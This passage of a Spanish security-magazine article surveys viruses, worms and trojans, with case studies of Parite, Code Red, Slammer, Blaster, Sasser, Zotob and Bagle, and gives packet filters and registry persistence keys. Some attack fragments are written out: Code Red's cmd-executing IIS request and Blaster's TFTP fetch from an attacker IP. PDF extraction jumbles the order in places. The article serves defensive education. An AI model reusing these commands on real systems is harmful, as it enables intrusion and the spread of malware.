contraparte, las empresas de seguridad informática y de programas antivirus.

Debe ser capaz de ejecutarse a sí mismo. A menudo coloca su propio código en la ruta de ejecución de otro programa. Debe ser capaz de replicarse. Por ejemplo, puede reemplazar otros archivos ejecutables con una copia del archivo infectado. Los virus pueden infectar tanto equipos de escritorio como servidores de red. Algunos virus están programados para atacar el equipo dañando programas, eliminando archivos o reformateando el disco duro. Otros no están creados para causar daño alguno, sino para replicarse y dar a conocer su presencia mediante la presentación de mensajes de texto, vídeo o sonido. Incluso estos virus benignos pueden crear problemas al usuario del equipo. Normalmente

hacen uso de la memoria correspondiente a los programas legítimos. Como resultado, pueden provocar a menudo un comportamiento irregular en el equipo e incluso hacer que el sistema deje de responder. Además, muchos virus contienen errores que pueden ocasionar pérdidas de datos y bloqueos del sistema.

Existen cinco tipos de virus conocidos

Virus que infectan archivos: este tipo de virus ataca a los archivos de programa. Normalmente infectan el código ejecutable, contenido en archivos .com y .exe, por ejemplo. También pueden infectar otros archivos cuando se ejecuta un programa

Listado 1. Cambios que realiza un infector de archivo en los ficheros con extensión.exe y .scr
c:\ActSAV32\SAV32 Act.exe Old date: 3/23/2005 1:26 PM New date: 3/23/2005 1:26 PM Old size: 159,744 bytes New size: 337,664 bytes c:\Documents and Settings\fornes\Desktop\CDSecure.exe Old date: 8/25/2006 1:05 PM New date: 8/25/2006 1:05 PM Old size: 1,656,978 bytes New size: 1,836,798 bytes c:\Documents and Settings\fornes\Desktop\cv2k4_100fuga.exe Old date: 8/21/2006 1:51 PM New date: 8/21/2006 1:51 PM Old size: 1,122,959 bytes New size: 1,304,324 bytes c:\Documents and Settings\fornes\Desktop\Pack_Vista_Inspirat_1.1.exe Old date: 4/11/2006 1:44 PM New date: 4/11/2006 1:44 PM Old size: 27,977,025 bytes New size: 28,155,140 bytes

Virus informático

Un virus informático es un pequeño programa creado para alterar la forma en que funciona un equipo sin el permiso o el conocimiento del usuario. Un virus debe presentar dos características:

Figura 1. Comparación de un fichero entre el original y la muestra infectada con el virus W32.PARITE.A

www.hakin9.org

45

Defensa

infectado desde un disquete, una unidad de disco duro o una red. Muchos de estos virus están residentes en memoria. Una vez que la memoria se infecta, cualquier archivo ejecutable que no esté infectado pasará a estarlo. Algunos ejemplos conocidos de virus de este tipo son Jerusalén y Parity.a.

Ejemplo: Virus Parity.A

Virus polimorfico tambien conocido como W32/Pate.a.dam. Tiene un tamaño de 176,128 bytes. Es un infector de archivos del tipo parásito ya que se adjunta a otro programa y se activa cuando ese programa es ejecutado. Posee además características de gusano, ya que puede propagarse a través de redes. Cuando se ejecuta, se agrega al final de todos los archivos con formato PE (Portable Executable), con extensión .exe y .scr en el directorio de Windows y todos los subdirectorios del sistema local, así como a todos los archivos accesibles en unidades de red compartidas. En ocasiones el virus corrompe el archivo infectado, siendo imposible su recuperación. El virus crea una sección extra en el archivo PE, con un nombre de tres letras al azar más el carácter (•). Crea la siguiente clave en el registro:
HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\PINF

acción se repetirá, contaminándolo todo. Como vemos en la descripción, este virus tiene acción de gusano, cuya definición veremos mas adelante, así que también se copia por la red en directorios compartidos. Esto quiere decir que a la hora de la contaminación si existía otro equipo compartiendo un directorio con la equipo contaminado (y sin las medidas de seguridad apropiadas), y en él hubiese algún archivo de tipo .exe

o .scr, estos también quedarían con taminados, comenzando de nuevo la cadena de reproducción del virus. En Figura 1 vemos a la izquierda el archivo original y a la derecha el mismo archivo infectado por el virus PARITE.A. El Archivo original (izquierda) termina en la dirección de memoria 0x00032FF0 y a partir de esta, se copia el código del virus (derecha). Para poder controlar el archivo original infectado (Figura 2), el

Figura 2. Archivo original

Como es un infector de archivo veremos una muestra de los cambios que realiza en los ficheros formato PE (Portable Executable), con extensión .exe y .scr (Listado 1). Vemos como aumentan de tamaños estos archivos, demostrando la existencia del virus, a partir de este momento estos archivos están infectados y listos para reproducir el virus. Si de alguna manera estos archivos infectados abandonan el equipo contaminado, bien mediante porque han sido copiados a un CD-ROM, a una memoria de tipo flash o de cualquier otra forma, y es ejecutado en otro equipo, la

Figura 2a. Archivo infectado

Figura 3. Primera intrusión del virus en el archivo infestado

46

www.hakin9.org

Programas malignos

virus cambia su punto de entrada o Entrypoint – primera instrucción que se va a ejecutar (Figura 2a). Podemos ver a la Izquierda el desplazamiento del archivo o File Offset cuyo valor es 00033000 en disco, que precisamente corresponde a la primera intrusión del virus en el archivo infestado (Figura 3).

Virus de sector de arranque

Estos virus infectan el área de sistema de un disco. Es decir, el registro de arranque o Master Boot Record (MBR) de los disquetes y los discos duros. Todos los disquetes y discos duros (incluidos los que sólo contienen datos) tienen un pequeño programa en el registro de arranque que se ejecuta cuando se inicia el equipo. Los virus de sector de arranque se copian en esta parte del disco y se activan cuando el usuario intenta iniciar el sistema desde el disco infectado. Estos virus están residentes en memoria por naturaleza. La mayoría se crearon para DOS, pero todos los equipos, independientemente del sistema operativo, son objetivos potenciales para este tipo de virus. Para que se produzca la infección basta con intentar iniciar el equipo con un disquete infectado. Posteriormente, mientras el virus permanezca en memoria, todos los disquetes que no estén protegidos contra escritura quedarán infectados al acceder a ellos. Algunos ejemplos de virus del sector de arranque son Form, Disk Killer, Michelangelo y Stoned.

Figura 4. Ataque del gusano ‘Code Red’ por virus del sector de arranque o del sector de arranque maestro no podrán arrancar. Esto se debe a la diferencia en la forma en que el sistema operativo accede a la información de arranque, en comparación con Windows 95/98. Si el sistema con Windows NT está formateado con particiones FAT, normalmente se puede eliminar el virus arrancando desde DOS y utilizando un programa antivirus. Si la partición de arranque es NTFS, el sistema deberá recuperarse utilizando los tres discos de instalación de Windows NT. Algunos ejemplos de virus del sector de arranque maestro son NYB, AntiExe y Unashamed. otros archivos. Los virus de macro infectan archivos de Microsoft Office: Word, Excel, PowerPoint y Access.Actualmente están surgiendo también nuevos derivados en otros programas. Todos estos virus utilizan el lenguaje de programación interno de otro programa, creado para permitir a los usuarios automatizar ciertas tareas dentro del programa. Debido a la facilidad con que se pueden crear estos virus, existen actualmente miles de ellos en circulación. Algunos ejemplos de virus de macro son W97M.Melissa, WM.NiceDay y W97M.Groov.

Los Gusanos

Virus múltiples

Virus de sector de arranque maestro

Estos virus están residentes en memoria e infectan los discos de la misma forma que los virus del sector de arranque. La diferencia entre ambos tipos de virus es el lugar en que se encuentra el código vírico. Los virus de sector de arranque maestro normalmente guardan una copia legítima del sector de arranque maestro en otra ubicación. Los equipos con Windows NT infectados

Estos virus infectan tanto los registros de arranque como los archivos de programa. Son especialmente difíciles de eliminar. Si se limpia el área de arranque, pero no los archivos, el área de arranque volverá a infectarse. Ocurre lo mismo a la inversa. Si el virus no se elimina del área de arranque, los archivos que hayan sido limpiados volverán a infectarse. Algunos ejemplos de virus múltiples son One_Half, Emperor, Antrax y Tequila.

Virus de macro

Estos virus infectan los archivos de datos. Son los más comunes y han costado a empresas importantes gran cantidad de tiempo y dinero para eliminarlos. Con la llegada de Visual Basic en Microsoft Office 97, se puede crear un virus de macro que no sólo infecte los archivos de datos, sino también

Los gusanos son programas que se replican a sí mismos de sistema a sistema sin utilizar un archivo para hacerlo. En esto se diferencian de los virus, que necesitan extenderse mediante un archivo infectado. Aunque los gusanos generalmente se encuentran dentro de otros archivos, a menudo documentos de Word o Excel, existe una diferencia en la forma en que los gusanos y los virus utilizan el archivo que los alberga. Normalmente el gusano generará un documento que ya contendrá la macro del gusano dentro. Todo el documento viajará de un equipo a otro, de forma que el documento completo debe considerarse como gusano. Se han hecho muy populares debido al amplio uso actual de Internet y el correo electrónico. Aunque los primeros experimentos con estos tipos de programas se remon-

www.hakin9.org

47

Defensa

Welcome to http://www.worm.com! Hacked By Chinese!

Figura 5. La página Web de Inicio del servidor cambiada por este mensaje

tan al año 1982 en el Research Center de Palo Alto, Estados Unidos, no fue hasta el 2 de noviembre de 1988 cuando se multiplicó el primer gusano a través de Internet. Su nombre era Morris, explotó múltiples huecos de seguridad y afectó en pocas horas alrededor de 60. 000 computadoras, causando problemas de conectividad durante varios días. A partir de esa fecha, otros códigos maliciosos también hicieron irrupción en las redes, pero no fue hasta los primeros días del mes de marzo de 1999, cuando apareció Melissa, fue entonces cuando se convirtieron en un verdadero dolor de cabeza. Melissa logró un alto nivel de infección por el gran intercambio de información contenida en archivos escritos en la aplicación Word de la suite Microsoft Office, y por su modo de diseminación. Viajó en un correo electrónico con asunto Important Message From <nombre> (Mensaje Importante de…), donde el nombre correspondía al de la cuenta de correo electrónico del

usuario que supuestamente lo enviaba. El texto invitaba a su lectura, y el anexo contenía referencias a sitios web con información pornográfica, aunque podía sustituirse por un documento de la computadora infestada. De esta forma viajaron por Internet documentos con información sensible. Un mensaje con estas características llamó la atención de muchos receptores, quienes tentados abrieron el anexo y se contaminaron. Esta técnica de explotar la debilidad de la confianza de los seres humanos, conocida como ingeniería social, ha sido ampliamente usada por los creadores de virus. Este fue el gusano que inició la lista de los más propagados y dañinos en la historia de los códigos malignos, y en pocos días logró afectar 1.200.000 computadoras con daños ascendentes a 1.100 millones de dólares, según la publicación Computer Economics. Ese mismo año, en el mes de junio, fue reportado el altamente destructivo gusano ExploreZip. Al igual que el anterior, viajaba en un correo electrónico y adjuntaba un archivo de nombre zipped_files. Además, utilizaba el icono de compresión del programa WinZip y así daba la impresión de ser la respuesta a un texto previamente enviado por el receptor. Este código infeccioso borraba además los archivos de extensión .c, .h, .cpp, .asm, .doc, .xls, .ppt, asig-

Figura 6. La víctima del ataque del gusano

nándoles un tamaño de 0 bytes, con lo cual eran irrecuperables. En Mayo de 2000 las redes informáticas de todo el mundo sufrieron una gran conmoción cuando apareció el célebre gusano I love you o Love Setter. Este fue un programa que explotó varias vías de reproducción, como el correo electrónica, la mensajería instantánea, las salas de conversación o chats, los servicios de noticias o newsgroups, los archivos compartidos en una red o las páginas web en Internet. El mensaje tenía como asunto ILOVEYOU (Te quiero, en inglés), y el texto sugería abrir una carta de amor enviada al destinatario, que aparecía como anexo en el nombre LOVE-LETTER-FOR-YOU.TXT.VBS (CARTA DE AMOR PARA TI, en inglés). A diferencia del Melissa, el ILOVEYOU intentaba enviar un mensaje similar a todas las direcciones de correo que tenía la máquina infectada, por lo cual el nivel de difusión alcanzado fue muy alto, alrededor de tres millones de computadoras en un día. Esto, junto a la destrucción de archivos en el disco duro, que realizó mediante la sobre escritura con su código, provocó daños en todo el mundo valorados en 8.750.000 dólares. El año 2001 también fue pródigo en gusanos notorios. El primero de ellos, Code Red o Código Rojo, resultó todo un acontecimiento, tanto por los altos niveles de extensión como por las novedosas técnicas que empleaba. Este código afectó a un buen número de servidores de Internet de Microsoft (Microsoft Internet Information Server o IIS), además de lanzar ataques de denegación de servicio (DoS). Se pueden diferenciar dos variantes de la familia Code Red. Ambas explotaron la vulnerabilidad MS01033 en las extensiones ISAPI en las versiones 4.0 y 5.0 del servicio IIS (Microsoft Internet Information Service), logrando afectar, en el segundo caso, 359.000 computadoras en menos de 14 horas.

48

www.hakin9.org

Programas malignos

La velocidad de diseminación según estadísticas de CAIDA, situado en el Centro de Supercomputadoras de San Diego, fue de 2000 equipos por minuto en el momento álgido de propagación. Este hecho ocurrió 24 días después de haber sido liberado el parche para solucionar la vulnerabilidad. La Figura 1 muestra cómo Code Red realiza la búsqueda del equipo vulnerable y su posterior propagación.

Los primeros 99 hilos los utlizará para propagarse a otros servidores web, El hilo número 100 verifica si el sistema Windows NT/2000 es una versión inglesa.

Vulnerabilidad MS01-033

MS01-033 (Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise). Vulnerabilidad en el archivo IDQ. DLL, de los servidores Microsoft IIS 5.0. Sistemas Afectados: • Windows 2000 IIS (Versión inglesa), • Windows NT (Versión inglesa). Filtro: Codered: "http or tcp.dstport == 80" En la Figura 4 vemos una muestra de la captura de Ethereal en el momento del ataque del gusano Code Red. Como vemos son simples peticiones (GET), utilizadas por el protocolo HTTP para descargar una simple pagina Web, con el siguiente formato:
http://www.maquina victima.com/ scripts/ root.exe?/c+dir+c:\HTTP/1.1

De ser así, el gusano procederá a desconfigurar el sitio Web del sistema infectado. La página Web de Inicio del servidor se cambiará por un mensaje que presenta este aspecto: Welcome to http://www.worm. com!, Hacked By Chinese!. Este mensaje en la página infectada, permanecerá activa durante 10 horas y luego desaparecerá. El mensaje no se volverá a mostrar, a menos que el servidor sea reinfectado por otro sistema. Si el sistema no tiene Windows NT/2000 en inglés, el hilo 100 se utilizará para infectar otros servidores. Cada hilo del gusano busca el archivo c:\notworm. Si lo encuentra, el gusano permanecerá inactivo. Si no se encuentra, cada hilo continuará intentando infectar más servidores web (Figura 5). Cada hilo del gusano verifica la fecha del sistema del servidor infectado. • Si la fecha es posterior al día 20 del mes, el hilo dejará de buscar sistemas para infectar y en su lugar atacará el servidor web de La Casa Blanca de los Estados Unidos en www.whitehouse.gov. El ataque consiste en el envío de 100 kilobytes de datos al puerto 80 del mencionado sitio web. Este aluvión de información (410 megabytes cada 4 horas y media) provocará la saturación de los servicios infectados. Si la fecha es entre los días 10 y 19 del mes, el gusano no intentará atacar al sitio web de la Casa Blanca y continuará tratando de infectar nuevos servidores web en todo el mundo.

Figura 7. Esta ventana podía aparecer en Windows XP debida a la acción del gusano Blaster cia de los Estados Unidos migraron al sistema operativo Linux: En enero de 2003 el gusano Slammer explotó una vulnerabilidad presente en el servicion de resolución de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la cantidad de equipos comprometidos en pocos segundos. La difusión comenzó transcurridos 183 días a partir de la liberación del parche oficial de seguridad. En la figura 2 se puede observar la localización de la víctima potencial y su posterior transmisión. SIRCAM fue el segundo de los afamados de ese año, detectado inicialmente el 25 de julio, y se distribuyó con textos escritos en inglés y español. El anexo, con doble extensión, contenía un fichero formado por dos archivos, uno con el código del gusano y otro robado de la computadora desde donde era enviado. En esa ocasión los daños evaluados fueron del orden de los 1.150 millones de dólares, sin considerar el hecho de que creó brechas de confidencialidad al dar a la luz archivos con información potencialmente sensible. Para finalizar el año, el 8 de diciembre se emitieron los primeros informes del Nimda, que circuló con formato de página Web, alterado de forma tal que engañó a Internet Explorer, permitiendo la ejecución del archivo adjunto con

El código se guarda como archivo en el disco, sino que a través de IIS se posiciona en la memoria dinámica integrándose en el propio sistema. Una vez que Code Red ha infectado un servidor, empieza a buscar direcciones IP de forma aleatoria con el propósito de infectar otros servidores que tengan instalado el IIS. Una vez que Code Red ha logrado infectar un servidor Web, actúa de la siguiente forma: • • Se integra en la plataforma del sistema infectado, Genera 100 hilos (subprocesos) del gusano,

El 7 de Agosto de 2001, a causa del gusano Code Red, los servidores de la Casa Blanca, sede de la Presiden-

www.hakin9.org

49

Defensa

solo visualizar la vista previa. Los daños ocasionados por su acción ascendieron a 635 millones de dólares. Durante el año 2002, los gusanos más distinguidos fueron los pertenecientes a la familia Klez, los cuales se mantuvieron alrededor de 12 meses en el primer lugar de las listas de informes de las empresas antivirus. Según el boletín G2 Security, de Mayo de 2002, con el nivel de propagación alcanzado de la variante Klez.H se llegaron a detectar 2.000 copias diarias. Finalmente, en el transcurso del año 2003 nuevos gusanos como Slammer o Sapphire causaron estragos, hasta el punto que Corea del Sur desapareció de Internet, 13.000 computadoras de un gran banco de los Estados Unidos dejaron de trabajar, y una línea aérea americana canceló vuelos por problemas en los sistemas de compra y chequeo de billetes. Además, logró afectar entre 100.000 y 200.000 computadoras en 10 minutos, duplicando la cantidad en pocos segundos. Famosos también fueron Blaster o Lobezna y los miembros de la familia Sobig. En el caso de la versión Sobig.F, aparecida en Agosto, rompió todos los records históricos de gusanos que utilizaban como vía principal el correo electrónico, pues en su momento álgido fue detectado un correo portador por cada 20 transmitidos a través de Internet. Otro gusano que basó su éxito en la ingeniería social superó esta cifra a inicios de 2004; su nombre Mydoom.A. Entre sus características principales se encontraba que podía viajar en archivos adjuntos comprimidos, tendencia seguida por sus sucesores como las variantes de Netsky y Bagle, muy diseminadas durante este mismo año. Esta nueva propensión, más compleja aún con el uso de palabras claves o contraseñas, se debió a que los administradores de los servido-

res de correo electrónico limitaban el envío y recepción de archivos ejecutables, pero no limitaban los archivos comprimidos. Lo curioso es que si bien el usuario tenía que descomprimir el código del gusano para ejecutarlo, y en muchos casos teclear la palabra clave, los creadores de virus inteligentemente dispusieron que la palabra clave viajara dentro del texto del mensaje. En general, aunque las principales vías de transmisión de los gusanos han sido el correo electrónico y los recursos compartidos a través de las redes, existen otros como las redes P2P utilizadas para el intercambio de archivos, e incluso la sencilla vía de los disquetes, cada día más en desuso.

Existe una nueva tendencia, cada vez más utilizada, de explotar las vulnerabilidades o defectos de seguridad de los sistemas operativos y aplicaciones.

Ejemplo de un gusanos que explotan vulnerabilidadades

En enero de 2003 el gusano Slammer explotó una debilidad presente en el servicio de resolucion de Microsoft SQL Server 2000 y Microsoft Desktop Engine 2000 basada en un desbordamiento de buffer (MS02-039). Logró afectar entre 100.000 y 200.000 equipos en 10 minutos, duplicando la cantidad de equipos comprometidos en pocos segundos. La difusión comenzó transcurridos 183 días a par-

Figura 8. Moquina que realiza el ataque

Figura 9. Captura hecha por el analizador de protocolos de red ‘Ethereal’ escuchando en otra maquina de la red

50

www.hakin9.org

Programas malignos

tir de la liberación del parche de seguridad. En la Figura 5 se puede observar la localización de la víctima potencial y su posterior transmisión.

Gusano Slammer
• • Vulnerabilidad que explota MS02039, Buffer Overruns in SQL Server 2000 (MS02-039) Resolution Service Could Enable Code Execution (Q323875),

Sistemas Afectados: • • • • Microsoft SQL Server 7.0, Microsoft Data Engine (MSDE) 1.0, Microsoft SQL Server 2000, Microsoft Desktop Engine (MSDE) 2000.

Este gusano se propaga a través de los servidores Microsoft SQL bajo

Windows 2000, que no han sido actualizados con el parche correspondiente. Durante la infección, el gusa no se mantiene activo en memoria solamente, no se copia a ningún archivo No compromete directamente al usuario individual, debido a que no infecta computadoras personales, solo servidores SQL bajo Windows 2000 (Microsoft SQL Server 2000 y Microsoft SQL Server Desktop Engine (MSDE)). Sin embargo, cómo el MSDE esta integrado no solo con el software del SQL, sino también en Visual Studio .NET y Office XP Developer Edition, el gusano podría propagarse más allá de los servidores SQL. Como vemos el gusano ataca el puerto 1433 (SQL). Filtro Ethereal: Slammer (tcp.dstport == 1433). En la Figura 6 vemos una captura del ataque del gusano tomando co-

mo víctima la maquina con dirección IP 172.16.1.92. Señalado en rojo, tenemos el paquete en el cual viaja el Shellcode, que es el momento en el cual el gusano explota la vulnerabilidad de Buffer Overflow en este caso. El gusano Blaster explotó un hueco de seguridad basado en un desbordamiento de búfer (MS03-026), presente en el Distributed Component Object Model (DCOM) que interactúa con el protocolo de Llamada de Procedimiento Remoto o Remote Procedure Call (RPC) de Windows 2000 y XP. La solución fue publicada sólo 26 días antes de su propagación. Un ataque de denegación de servicio lanzado por el gusano al sitio en Internet donde se puso a disposición de los usuarios el parche de seguridad impidió su descarga durante varias horas. En la Figura 3 se muestra un ejemplo de la difusión. Proceso de infección del Blaster en un ambiente virtual utilizando el mismo exploit que usa el gusano para crear una shell (Puerta trasera) en el equipo víctima por la cual el mismo se copia emulando un servidor FTP. Si el ataque se realiza con éxito, el gusano tomará el control de la máquina víctima de forma remota como usuario Administrador, pudiendo realizar cualquier tarea. En este caso ejecuta el comando siguiente para copiarse el mismo:
TFTP (IP atacante) GET (Blaster)

Figura 10. Captura del estado de los puertos de la víctima. Se ve el puerto abierto por el gusano

Figura 11. El gusano obtuvo una ‘shell’ (acceso abierto en el sistema víctima) y está listo para copiarse

Después seguirá buscando máquinas hasta encontrar algunas vulnerables y repetir de nuevo el proceso. El Proceso de Infección se puede ver en Figura 8, 9, 10, 11. Este ataque (Figura 8) fue realizado por la herramienta que explota la vulnerabilidad (exploit), pero es el mismo procedimiento efectuado por el gusano, con la diferencia que todo es oculto al usuario. Figura 9 – captura hecha por el analizador de protocolos de red

www.hakin9.org

51

Defensa

Su difusión se puede observar en la Figura 4. Worm.W32/Passer provoca un desbordamiento de búfer en el componente LSASS.EXE, lo que hace que dicho programa falle y requiera el reinicio de Windows. Puede presentarse el siguiente mensaje (Figura 12). Para ejecutarse automáticamente cada vez que el sistema es reiniciado, el gusano añade a la siguiente clave del registro de Windows el valor indicado:
Clave: HKEY_LOCAL_MACHINE\SOFTWARE\

Figura 12. Este comunicado aparece cuando el virus provoca el fallo del programa

Microsoft\Windows\CurrentVersion\Run Valor: "avserve.exe" = C:\WINDOWS\ avserve.exe

Vulnerabilidad MS04-011

Figura 13. Exploit que explota una vulnerabilidad utilizando ‘Ethereal’

Ethereal escuchando en otra maquina de la red. Podemos ver el ataque que utiliza la vulnerabilidad de RPC (Protocolo DCERPC). Seleccionado esta el shellcode que se utiliza para explotar el Buffer Overflow o desbordamiento de buffer. Figura 10 muestra el estado de los puertos en la víctima. Se ve el puerto abierto por el gusano. En este momento el gusano obtuvo una shell (acceso abierto en el sistema víctima) y se encuentra listo para copiarse (Figura 11). Como el gusano ya tiene una shell, puede ejecutar comandos remotamente en la maquina víctima como si estuviera físicamente en ella. A continuación ejecuta un TFTP (viene por defecto en Windows) y utiliza las opciones del mismo para copiarse en la máquina. Terminado el proceso el gusano escanea rangos

IP buscando nuevas máquinas vulnerables para repetir el proceso al completo. El ejemplo anterior es el proceso de propagación del gusano. Cuando se copia y posteriormente se ejecuta puede realizar otras acciones. Witty y Passer por su parte comenzaron su propagación en 2004. El primero, altamente destructivo, se valió de una vulnerabilidad (CAN2004-0362) en el Internet Security Systems Protocol Analysis Module (PAM), cuya solución fue puesta a disposición de los usuarios sólo un día antes. El segundo se aprovechó de un desbordamiento de buffer en el servicio LSASS (MS04-011), ampliamente empleada por nuevas familias de gusanos como Mytob, cuya solución fue liberada 17 días antes.

Vulnerabilidad que explota en buffer Overflow en el Servicio lsass.exe (lsasrv.dll) Explotada por el gusano Sasser FILTRO : Sasser ---->" dcerpc or tcp.dstport == 445 " En el ejemplo se puede observar el momento en el cual el gusano inyecta el shellcode en la función vulnerable de Lsass (DsRolerUpgradeDownlevelServe). A partir de ese momento realiza lo mismo que otros gusanos de su tipo, se copia él mismo en la máquina víctima a través de la shell que él mismo abrió aprovechando la vulnerabilidad. En el transcurso del 2005 la familia de los gusanos Zotob comenzó su propagación valiéndose de la vulnerabilidad en el componente Plug and Play (MS05-039), cuyo parche fue liberado 5 días antes. En la Figura 5 se muestra su transmisión.

-Vulnerabilidad MS05-039

Explotada por el gusano Zotob. Esta vulnerabilidad solo se puede explotar en equipos con Windows 2000 sin el parche MS05-039 instalado. Solamente un usuario autenticado podría explotarla de forma remota en equipos con Windows XP y XP con Service Pack 1 instalado (Figura 14):

52

www.hakin9.org

Programas malignos

FILTRO : MS05-039 "Plug and Play" Zotob ----->"dcerpc or pnp or tcp.dstport == 445"

Software afectado: • • • • • • • • • Microsoft Windows 2000 Service Pack 4 Microsoft Windows XP Service Pack 1 Microsoft Windows XP Service Pack 2 Microsoft Windows XP Professional x64 Edition Microsoft Windows Server 2003 Microsoft Windows Server 2003 Service Pack 1 Microsoft Windows Server 2003 for Itanium Microsoft Windows Server 2003 SP1 for Itanium Microsoft Windows Server 2003 x64 Edition

El gusano también abre un servidor FTP en el puerto TCP 33333 por el que otros equipos descargarán una copia del gusano. El gusano intenta propagarse utilizando la vulnerabilidad en el servicio Plug and Play de Windows, descrita en el boletín de seguridad MS05-039. Para ello puede crear hasta 300 threads (hilos de ejecución o subprocesos) para buscar sistemas vulnerables enviando paquetes SYN por el puerto TCP 445. Si el ataque tiene éxito (equipos con Windows 2000 sin el parche MS05-039), ejecuta un shell (cmd.exe) en el puerto TCP 8888. Por este puerto, envía al equipo remoto los comandos para descargarse y ejecutarse a sí mismo. Primero, copia el archivo 2pac.txt en los sistemas vulnerables: Este archivo contiene un script FTP, que el gusano intentará usar al ejecutar el comando FTP.EXE por el shell abierto antes, con el resultado que el equipo accedido descargue una copia del malware usando el servidor FTP en el puerto TCP 33333 creado antes en el equipo infectado. El archivo descargado se guarda con el siguiente nombre y después

se ejecuta: Nota del traductor FALTA EL NOMBRE. Como puede comprobarse en los casos anteriores, en la mayoría de los casos fue necesario poco tiempo entre la liberación de los correspondientes parches de seguridad y su explotación por un programa maligno – incluso se informaron algunos, como en el caso de Fever, en que su creador se adelantó a la solución. Finalizado el año 2005, son alarmantes las estadísticas elaboradas por el Laboratorio Antivirus de Kaspersky [1], sobre las 10 vulnerabilidades más atacadas durante el pasado año. En la tabla se aprecian varias de las mencionadas (Tabla abajo). También se encuentran presentes otras reportadas en los boletines, MS03-007 (17/03/2003), MS04007 (10/02/2004), MS04-045 (14/ 12/2004), MS02-061 (28/02/2003) y MS01-059 (20/12/2001). Uno de los problemas más preocupantes es el desconocimiento de los usuarios, desconocimiento que aprovechan los creadores de gusa-

nos mediante técnicas de ingeniería social que invitan a los incautos a abrir mensajes sospechosos, que nunca deberían abrir. Ejemplo de gusano de correo electrónico (Listado 2).

Caballos de Troya

Los caballos de Troya son impostores, es decir, archivos que pretenden ser benignos pero que de hecho, son perjudiciales. Una diferencia muy importante con respecto a los virus reales es que no se replican a sí mismos. Los caballos de Troya contienen código dañino que, cuando se activa, provoca grandes pérdidas o incluso robo de datos o de información sensible. Para que un caballo de Troya se extienda, es necesario dejarlo entrar en el sistema, por ejemplo abriendo un archivo adjunto de correo. Se denomina troyano (o caballo de Troya) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red local o de Internet, con el fin de recabar infor-

Figura 14. Vulnerabilidad MSO5-039 explotada por el gusano ‘Zotob’

Boletín y parche de seguridad MS02-039 MS03-026 MS05-039

Fecha de liberación 24/07/2002 16/07/2003 09/08/2005

Algunos programas malignos que explotan la vulnerabilidad Slammer, Sdbot Blaster, Gaobot, Nachi Zotob, Bozori, Mytob

www.hakin9.org

53

Defensa

mación y/o controlar remotamente la máquina huésped. Un troyano no es de por sí, un virus, aún cuando teóricamente pueda ser distribuido y funcionar como tal. La diferencia fundamental entre un troyano y un virus consiste en su finalidad. Para que un programa sea un troyano solo tiene que acceder y/o controlar la maquina huésped sin ser advertido, normalmente bajo una apariencia inocua. Suele ser un programa pequeño alojado dentro de una aplicación, una imagen, un archivo de música u otro elemento de apariencia inocente, que se instala en el sistema al ejecutar el archivo que lo contiene. Una vez instalado, parece realizar una función útil (aunque cierto tipo de troyanos permanecen ocultos y por tal motivo los programas antivirus o aplicaciones anti-troyanos no los eliminan) pero internamente realiza otras tareas de las que el usuario no es consciente, de igual forma que el Caballo de Troya que los griegos regalaron a los troyanos. Este tipo de software se utiliza habitualmente para espiar, usando la técnica de instalar un software de acceso remoto que permite monitorizar lo que el usuario legítimo hace y, por ejemplo, capturar las pulsa-

ciones del teclado con el fin de obtener contraseñas u otra información sensible. La mejor defensa contra los troyanos es no ejecutar nada de lo cual se desconozca el origen y mantener software antivirus actualizado y dotado de buena heurística. Es recomendable también instalar algún software anti-troyano, de los cuales existen versiones gratis. Otra solución bastante eficaz contra los troyanos es tener instalado un firewall, tambien conocido como cortafuegos. Otra manera de detectarlos es inspeccionando frecuentemente la lista de procesos activos en memoria en busca de elementos extraños, vigilar accesos a disco innecesarios, etc.

Caballos de pura sangre

NetBus y Back Orifice tienen muchos puntos en común. Ambos son caballos de Troya basados en la idea de cliente-servidor. Han sido creados para sistemas Microsoft, pero Back Orifice sólo funciona en Windows 95/98, mientras que NetBus también lo hace sobre NT. El programa servidor, en ambos casos, debe ser instalado en el ordenador de la víctima. Como

Listado 2. Ejemplo Gusano W32.Bagle.M
Nombre: W32.BAGLE.M Es una aplicación de 32 bits. Llega con el nombre foto_4265.exe y su tamaño es de 9.221 bytes. Cuando se ejecuta crea el siguiente fichero: c:\WINNT\system32\anti_troj.exe Accede a Internet Explorer donde agrega la siguiente referencia en la barra de direcciones: C:\WINNT\system32\ntimage.gif Añade las siguientes claves al registro: HKEY_CURRENT_USER\Software\FirstRRRun HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions\CmdMapping HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ MenuOrder\Favorites\Vínculos Modifica los valores siguientes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse al inicio de windows. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse al inicio de windows.

se ha explicado, esta tarea se ha simplificado, ya que el atacante puede ocultar el troyano dentro de cualquier programa o aplicación. Incluso puede mandar el virus por correo y ser instalado con sólo abrir el mensaje (consultar el artículo Las verdades del correo electrónico en la publicación iWorld de Febrero de 1999). Una vez instalado, el servidor abre un puerto de comunicaciones y se queda escuchando peticiones. Es decir, los comandos que le envía el programa cliente que está utilizando el atacante desde su ordenador remoto. NetBus abre un puerto TCP, mientras que Back Orifice utiliza un puerto UDP. Se puede cambiar el número del puerto por el que atiende el servidor en ambos casos. También se puede proteger el acceso al servidor mediante una clave. De esta forma, ya no es suficiente con tener instalado el cliente del troyano y conocer la IP de la máquina infectada, sino que también será necesario conocer la clave que autoriza el acceso al servidor. Tanto NetBus como Back Orifice ofrecen un entorno gráfico para manejar todas las posibilidades del cliente. Lo que significa que cualquiera que conozca el funcionamiento básico de Windows, está en disposición de gestionar, de forma remota, cualquier recurso del ordenador infectado por el troyano. Netbus incluye una herramienta que permite buscar máquinas, indicando un rango de direcciones IP que tengan abierto el puerto predeterminado del servidor de forma muy rápida. De 